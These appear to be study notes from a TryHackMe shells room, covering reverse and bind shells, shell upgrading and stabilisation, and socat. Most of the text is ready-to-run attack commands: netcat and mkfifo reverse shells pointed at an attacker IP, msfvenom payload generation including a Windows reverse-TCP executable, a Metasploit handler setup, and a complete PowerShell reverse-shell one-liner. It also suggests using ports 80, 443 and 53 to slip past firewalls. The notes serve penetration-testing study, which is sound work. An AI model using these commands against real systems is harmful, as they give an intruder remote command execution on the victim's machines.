Skip to content

Reverse Shells

https://tryhackme.com/room/introtoshells

Good ports to use are 80 (http), 443 (https), 53 (dns) because they are usually not blocked by firewalls.

A reverseshell is a script written in a language the (web)server understands. It might by a php script if executed by the php server or a bash-script for a cron job. The biggest difference is that the victim-server will call the attacker-server which means the victim-server will hold information about the attacker!

  • Attacker: sudo nc -lvnp 443 (sudo only for < 1024 port)
  • Victim: nc <attacker-ip> <port> -e /bin/bash

In case nc doesn't support interactive mode on connection you can use this workaround instead:

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

The command first creates a named pipe at /tmp/f. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.

msfvenom -> msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}' * msfvenom -p cmd/unix/reverse_netcat lhost=$IP lport=$PORT R * msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=$IP LPORT=$PORT

msfconsole -> use multi/handler * options * set payload <payload> * set LHOST <local ip> * set LPORT <local port> * run -j * wait for reverse shell * session 1 to activate the staged shell

For powershell you can use this one-liner (change <ip> and <port>):

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Some links where to get reverse shell scripts:

Bind Shells

A bind shell is the opposite of a reverse shell. The attacker sets a bind shell on the victim server and connects to it to gain a shell.

  • Victim: nc -lvnp <port> -e "cmd.exe" (or /bin/bash)
  • Attacker: nc <victim-ip> <port>

In case nc doesn't support the -e option (execute this on connection) you can use this workaround instead:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

The command first creates a named pipe at /tmp/f. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.

Upgrade dump shell

Remote Shells are fragile. They loose connection, can't use autocomplete and when pressing ctrl-c to stop a remote program you will kill the shell connection.

One way to improve this is by spawning another shell in the remote shell.

  • python -c 'import pty;pty.spawn("/bin/bash")'
  • /bin/sh -i
  • perl -e 'exec "/bin/sh";'
  • ruby -e 'exec "/bin/sh"'
  • lua -e "os.execute('/bin/sh')"

Stabilizing the shell

To really get a stable shell you can use different techniques:

  1. the python way
  2. python -c 'import pty;pty.spawn("/bin/bash")'
    • spawns a shell in the remote shell
  3. export TERM=xterm
    • gives access to term commands like clear
  4. ctrl-z, stty raw -echo; fg
    • this will background the shell, disable the current remote shell echo (to gain auto-complete, ctrl-c, arrow keys) and foregrounds the remote shell again.
  5. in case the remote shell dies and you can't see any typings, use reset<enter>
  6. rlwrap
  7. install via sudo apt install rlwrap
  8. use rlwrap nc -lvnp <port>
    • this will give a much stable shell from beginning
  9. ctrl-z, stty raw -echo; fg
    • this will background the shell, disable the current remote shell echo (to gain auto-complete, ctrl-c, arrow keys) and foregrounds the remote shell again.
  10. in case the remote shell dies and you can't see any typings, use reset<enter>

For all the solutions you will not be able to use editors because the remote shell doesn't know your shell-resolution. To get this information use stty -a in a local shell and note cols and rows. After that switch to the remote shell and call stty rows <num> and stty cols <num>.

Interactive vs Non-Interactive Shells

Local shells are usually interactive, that means you can interact with interactive applications like ssh. Remote shells can be interactive but may also non-interactive. In case it's non-interactive you should check the manuals of the applications to call it in a way where the interactive part is not necessary.

Talking about socat

socat is able to create a stable remote shell without modifying it after connection. The downside is that it's usually not installed on the attacker or victim server so you need to get it onto the other server first.

The upside is that socat is the only one that can use selfsigned certificates to secure the connection, removing the ability to snoop on the line.